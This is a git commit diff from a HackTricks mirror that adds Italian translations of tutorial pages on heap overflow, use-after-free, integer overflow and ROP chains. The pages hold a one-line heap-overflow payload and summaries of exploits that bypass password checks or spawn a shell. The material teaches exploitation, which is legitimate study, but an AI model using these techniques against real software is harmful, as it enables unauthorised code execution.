mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['binary-exploitation/heap/README.md', 'binary-exploitation/h
This commit is contained in:
Translator
parent
53db0a13fa
commit
2e0317d5ef
12 changed files with 292 additions and 202 deletions
|
|
@ -712,6 +712,9 @@
|
|||
* [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
* [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
* [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
* [Heap](binary-exploitation/heap/README.md)
|
||||
* [Use After Free](binary-exploitation/heap/use-after-free.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
* [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md)
|
||||
|
|
|
|||
3
binary-exploitation/heap/README.md
Normal file
3
binary-exploitation/heap/README.md
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
# Heap
|
||||
|
||||
Il **heap** è una struttura dati utilizzata per l'allocazione dinamica della memoria durante l'esecuzione di un programma. Gli attacchi al **heap** sono comuni nelle sfide di sicurezza informatica e possono portare a vulnerabilità come **heap overflow**, **use-after-free** e **double free**. Imparare a sfruttare queste vulnerabilità è essenziale per diventare un hacker esperto nel campo della sicurezza informatica.
|
||||
45
binary-exploitation/heap/heap-overflow.md
Normal file
45
binary-exploitation/heap/heap-overflow.md
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
# Heap Overflow
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Un heap overflow è simile a un [**stack overflow**](../stack-overflow/) ma nell'heap. Fondamentalmente significa che è stato riservato dello spazio nell'heap per memorizzare dei dati e che i **dati memorizzati erano più grandi dello spazio riservato**.
|
||||
|
||||
Nei stack overflows sappiamo che alcuni registri come il puntatore di istruzione o il frame dello stack verranno ripristinati dallo stack e potrebbe essere possibile abusarne. Nel caso degli heap overflows, **non c'è alcuna informazione sensibile memorizzata per impostazione predefinita** nel chunk dell'heap che può essere sovraffollato. Tuttavia, potrebbero esserci informazioni sensibili o puntatori, quindi la **criticità** di questa vulnerabilità **dipende** da **quali dati potrebbero essere sovrascritti** e da come un attaccante potrebbe abusarne.
|
||||
|
||||
{% hint style="success" %}
|
||||
Per trovare gli offset degli overflow puoi utilizzare gli stessi schemi dei [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
|
||||
{% endhint %}
|
||||
|
||||
## Esempio ARM64
|
||||
|
||||
Nella pagina [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puoi trovare un esempio di heap overflow in cui un comando che verrà eseguito è memorizzato nel chunk seguente al chunk sovraccaricato. Quindi, è possibile modificare il comando eseguito sovrascribendolo con un exploit semplice come:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
26
binary-exploitation/heap/use-after-free.md
Normal file
26
binary-exploitation/heap/use-after-free.md
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
# Uso dopo la liberazione
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Come suggerisce il nome, questa vulnerabilità si verifica quando un programma **riserva dello spazio** nell'heap per un oggetto, **scrive** alcune informazioni lì, **lo libera** apparentemente perché non è più necessario e poi **vi accede di nuovo**.
|
||||
|
||||
Il problema qui è che non è illegale (non ci saranno errori) quando una **memoria liberata viene acceduta**. Quindi, se il programma (o l'attaccante) riesce a **allocare la memoria liberata e memorizzare dati arbitrari**, quando la memoria liberata viene acceduta dal puntatore iniziale quei dati saranno sovrascritti causando una **vulnerabilità che dipenderà dalla sensibilità dei dati** che erano stati memorizzati originariamente (se si trattava di un puntatore di una funzione che sarebbe stata chiamata, un attaccante potrebbe controllarlo).
|
||||
|
||||
## Altri Riferimenti ed Esempi
|
||||
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
* ARM64. Uso dopo la liberazione: Genera un utente, liberarlo, riutilizzare lo stesso blocco **sovrascrivendo la posizione della password dell'utente** da quello precedente. Riutilizza l'utente per **bypassare il controllo della password**
|
||||
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -18,7 +18,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
Al centro di un **integer overflow** c'è il limite imposto dalla **dimensione** dei tipi di dati nella programmazione informatica e dall'**interpretazione** dei dati.
|
||||
|
||||
Ad esempio, un **intero non firmato a 8 bit** può rappresentare valori da **0 a 255**. Se si tenta di memorizzare il valore 256 in un intero non firmato a 8 bit, esso si riavvolge a 0 a causa del limite della sua capacità di archiviazione. Allo stesso modo, per un **intero non firmato a 16 bit**, che può contenere valori da **0 a 65.535**, aggiungere 1 a 65.535 riavvolgerà il valore a 0.
|
||||
Ad esempio, un **intero non firmato a 8 bit** può rappresentare valori da **0 a 255**. Se si tenta di memorizzare il valore 256 in un intero non firmato a 8 bit, esso si riavvolge a 0 a causa della limitazione della sua capacità di memorizzazione. Allo stesso modo, per un **intero non firmato a 16 bit**, che può contenere valori da **0 a 65.535**, aggiungere 1 a 65.535 riavvolgerà il valore a 0.
|
||||
|
||||
Inoltre, un **intero firmato a 8 bit** può rappresentare valori da **-128 a 127**. Questo perché un bit è utilizzato per rappresentare il segno (positivo o negativo), lasciando 7 bit per rappresentare la magnitudine. Il numero più negativo è rappresentato come **-128** (binario `10000000`), e il numero più positivo è **127** (binario `01111111`).
|
||||
|
||||
|
|
@ -42,11 +42,11 @@ println!("{}", add_result);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="C" %}
|
||||
{% tab title="C" %}
|
||||
|
||||
## Integer Overflow
|
||||
|
||||
Integer overflow occurs when an arithmetic operation results in a value that exceeds the maximum size that the data type can hold. This can lead to unexpected behavior and security vulnerabilities in software.
|
||||
Integer overflow occurs when an arithmetic operation results in a value that exceeds the maximum size that the data type can hold. This can lead to unexpected behavior in the program, such as wrapping around to a minimum value or causing a crash.
|
||||
|
||||
### Example
|
||||
|
||||
|
|
@ -54,7 +54,7 @@ Integer overflow occurs when an arithmetic operation results in a value that exc
|
|||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned int x = 4294967295; // Maximum value for an unsigned int
|
||||
unsigned int x = 4294967295; // Maximum value for unsigned int
|
||||
x = x + 1;
|
||||
|
||||
printf("Value of x: %u\n", x);
|
||||
|
|
@ -63,11 +63,9 @@ int main() {
|
|||
}
|
||||
```
|
||||
|
||||
In this example, `x` is an unsigned integer with a maximum value of 4294967295. When 1 is added to `x`, it overflows and results in a value of 0 due to the limited size of the data type.
|
||||
In this example, adding 1 to the maximum value of an unsigned integer will result in an integer overflow, causing `x` to wrap around to 0.
|
||||
|
||||
### Mitigation
|
||||
|
||||
To prevent integer overflow, always check the bounds of arithmetic operations and ensure that the result does not exceed the maximum value that the data type can hold. Using larger data types or libraries that handle overflow gracefully can also help mitigate this issue.
|
||||
To prevent integer overflow, it is important to validate input values and check the result of arithmetic operations to ensure they do not exceed the limits of the data type being used.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
|
|
@ -105,7 +103,7 @@ return 0;
|
|||
```
|
||||
### Conversione da Segnato a Non Segnato
|
||||
|
||||
Consideriamo una situazione in cui un numero intero segnato viene letto in input dall'utente e poi utilizzato in un contesto che lo tratta come un numero intero non segnato, senza una valida validazione:
|
||||
Consideriamo una situazione in cui un numero intero segnato viene letto in input dall'utente e poi utilizzato in un contesto che lo tratta come un numero intero non segnato, senza una valida convalida:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
|
@ -127,23 +125,24 @@ printf("Processed Input is within range: %u\n", processedInput);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
In questo esempio, se un utente inserisce un numero negativo, verrà interpretato come un grande numero non firmato a causa del modo in cui vengono interpretati i valori binari, potenzialmente portando a comportamenti inaspettati.
|
||||
In questo esempio, se un utente inserisce un numero negativo, verrà interpretato come un grande numero non firmato a causa del modo in cui i valori binari vengono interpretati, potenzialmente portando a comportamenti inaspettati.
|
||||
|
||||
### Altri Esempi
|
||||
|
||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
|
||||
* Il programma sta solo convalidando l'ultimo byte di un numero per controllare la dimensione dell'input, quindi è possibile aggiungere qualsiasi dimensione purché l'ultimo byte sia all'interno dell'intervallo consentito. Quindi, l'input crea un overflow del buffer sfruttato con un ret2win.
|
||||
* Viene utilizzato solo 1B per memorizzare la dimensione della password, quindi è possibile fare un overflow e farlo pensare che la lunghezza sia di 4 mentre in realtà è di 260 per eludere il controllo della lunghezza
|
||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
|
||||
* Dati un paio di numeri, scoprire utilizzando z3 un nuovo numero che moltiplicato per il primo darà il secondo: 
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
* Viene utilizzato solo 1B per memorizzare la dimensione della password, quindi è possibile fare un overflow e farlo pensare che la lunghezza sia di 4 mentre in realtà è di 260 per eludere il controllo della lunghezza e sovrascrivere nello stack la variabile locale successiva ed eludere entrambe le protezioni
|
||||
|
||||
\
|
||||
|
||||
|
||||
## ARM64
|
||||
|
||||
Questo **non cambia in ARM64** come si può vedere in [**questo post sul blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -152,9 +151,9 @@ In questo esempio, se un utente inserisce un numero negativo, verrà interpretat
|
|||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -32,7 +32,7 @@ Tipicamente, i gadget possono essere trovati utilizzando [**ROPgadget**](https:/
|
|||
|
||||
### **Convenzioni di Chiamata x86 (32-bit)**
|
||||
|
||||
* **cdecl**: Il chiamante pulisce lo stack. Gli argomenti della funzione vengono spinti sullo stack in ordine inverso (da destra a sinistra). **Gli argomenti vengono spinti sullo stack da destra a sinistra.**
|
||||
* **cdecl**: Il chiamante pulisce lo stack. Gli argomenti della funzione vengono spinti nello stack in ordine inverso (da destra a sinistra). **Gli argomenti vengono spinti nello stack da destra a sinistra.**
|
||||
* **stdcall**: Simile a cdecl, ma il chiamato è responsabile della pulizia dello stack.
|
||||
|
||||
### **Ricerca di Gadget**
|
||||
|
|
@ -91,7 +91,7 @@ p.interactive()
|
|||
|
||||
* Utilizza la convenzione di chiamata **System V AMD64 ABI** su sistemi simili a Unix, dove i **primi sei argomenti interi o puntatori vengono passati nei registri `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Gli argomenti aggiuntivi vengono passati nello stack. Il valore di ritorno viene inserito in `RAX`.
|
||||
* La convenzione di chiamata **Windows x64** utilizza `RCX`, `RDX`, `R8` e `R9` per i primi quattro argomenti interi o puntatori, con argomenti aggiuntivi passati nello stack. Il valore di ritorno viene inserito in `RAX`.
|
||||
* **Registri**: I registri a 64 bit includono `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` fino a `R15`.
|
||||
* **Registri**: I registri a 64 bit includono `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
|
||||
|
||||
#### **Ricerca di Gadget**
|
||||
|
||||
|
|
@ -141,13 +141,13 @@ p.interactive()
|
|||
```
|
||||
In questo esempio:
|
||||
|
||||
* Utilizziamo il gadget **`pop rdi; ret`** per impostare **`RDI`** sull'indirizzo di **`"/bin/sh"`**.
|
||||
* Utilizziamo il gadget **`pop rdi; ret`** per impostare **`RDI`** all'indirizzo di **`"/bin/sh"`**.
|
||||
* Saltiamo direttamente a **`system()`** dopo aver impostato **`RDI`**, con l'indirizzo di **system()** nella catena.
|
||||
* Il gadget **`ret_gadget`** viene utilizzato per l'allineamento se l'ambiente di destinazione lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni.
|
||||
|
||||
### Allineamento dello Stack
|
||||
|
||||
**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (cioè **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, aggiungi semplicemente un **gadget ret** prima di chiamare **system** nella tua catena ROP.
|
||||
**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione call**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (cioè **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, aggiungi semplicemente un **gadget ret** prima di chiamare **system** nella tua catena ROP.
|
||||
|
||||
## Differenza principale tra x86 e x64
|
||||
|
||||
|
|
@ -155,23 +155,35 @@ In questo esempio:
|
|||
Poiché **x64 utilizza registri per i primi argomenti**, spesso richiede meno gadget rispetto a x86 per chiamate di funzioni semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. Il numero maggiore di registri e lo spazio degli indirizzi più ampio nell'architettura **x64** offrono sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).
|
||||
{% endhint %}
|
||||
|
||||
## Protezioni Contro ROP
|
||||
## Esempio di catena ROP in ARM64
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/): Queste protezioni rendono più difficile l'uso di ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni.
|
||||
### **Principi di base di ARM64 e convenzioni di chiamata**
|
||||
|
||||
Controlla la seguente pagina per queste informazioni:
|
||||
|
||||
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
|
||||
## Protezioni contro la ROP
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/): Queste protezioni rendono più difficile l'uso della ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In caso di BOF, è necessario aggirare lo stack canary per sovrascrivere i puntatori di ritorno per abusare di una catena ROP.
|
||||
* **Mancanza di Gadget**: Se non ci sono abbastanza gadget, non sarà possibile generare una catena ROP.
|
||||
|
||||
## Tecniche basate su ROP
|
||||
|
||||
Nota che ROP è solo una tecnica per eseguire codice arbitrario. Basandosi su ROP, sono state sviluppate molte tecniche Ret2XXX:
|
||||
Nota che la ROP è solo una tecnica per eseguire codice arbitrario. Basandosi sulla ROP sono state sviluppate molte tecniche Ret2XXX:
|
||||
|
||||
* **Ret2lib**: Utilizza ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come `system('/bin/sh')`.
|
||||
* **Ret2lib**: Utilizza la ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come `system('/bin/sh')`.
|
||||
|
||||
{% content-ref url="ret2lib/" %}
|
||||
[ret2lib](ret2lib/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Ret2Syscall**: Utilizza ROP per preparare una chiamata a una syscall, ad es. `execve`, e far eseguire comandi arbitrari.
|
||||
* **Ret2Syscall**: Utilizza la ROP per preparare una chiamata a una syscall, ad es. `execve`, e far eseguire comandi arbitrari.
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
|
|
@ -187,18 +199,6 @@ Nota che ROP è solo una tecnica per eseguire codice arbitrario. Basandosi su RO
|
|||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
||||
* 64 bit, Pie e nx abilitati, nessun canary, sovrascrive RIP con un indirizzo `vsyscall` con l'unico scopo di tornare all'indirizzo successivo nello stack che sarà una sovrascrittura parziale dell'indirizzo per ottenere la parte della funzione che rilascia il flag
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
* 64 bit, Pie e nx abilitato, nessun canary, sovrascrive RIP con un indirizzo `vsyscall` con l'unico scopo di tornare all'indirizzo successivo nello stack che sarà una sovrascrittura parziale dell'indirizzo per ottenere la parte della funzione che rilascia il flag
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* arm64, senza ASLR, gadget ROP per rendere lo stack eseguibile e saltare al codice shell nello stack
|
||||
|
|
|
|||
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Cos'è uno Stack Overflow
|
||||
|
||||
Uno **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanto sia allocato per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, interruzioni del flusso di controllo e potenzialmente all'esecuzione di codice dannoso. Questo problema spesso si verifica a causa dell'uso di funzioni non sicure che non effettuano il controllo dei limiti sull'input.
|
||||
Uno **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanto sia allocato per contenerli. Questi dati in eccesso sovrascriveranno lo spazio di memoria adiacente, portando alla corruzione di dati validi, interruzioni del flusso di controllo e potenzialmente all'esecuzione di codice dannoso. Questo problema spesso si verifica a causa dell'uso di funzioni non sicure che non effettuano il controllo dei limiti sull'input.
|
||||
|
||||
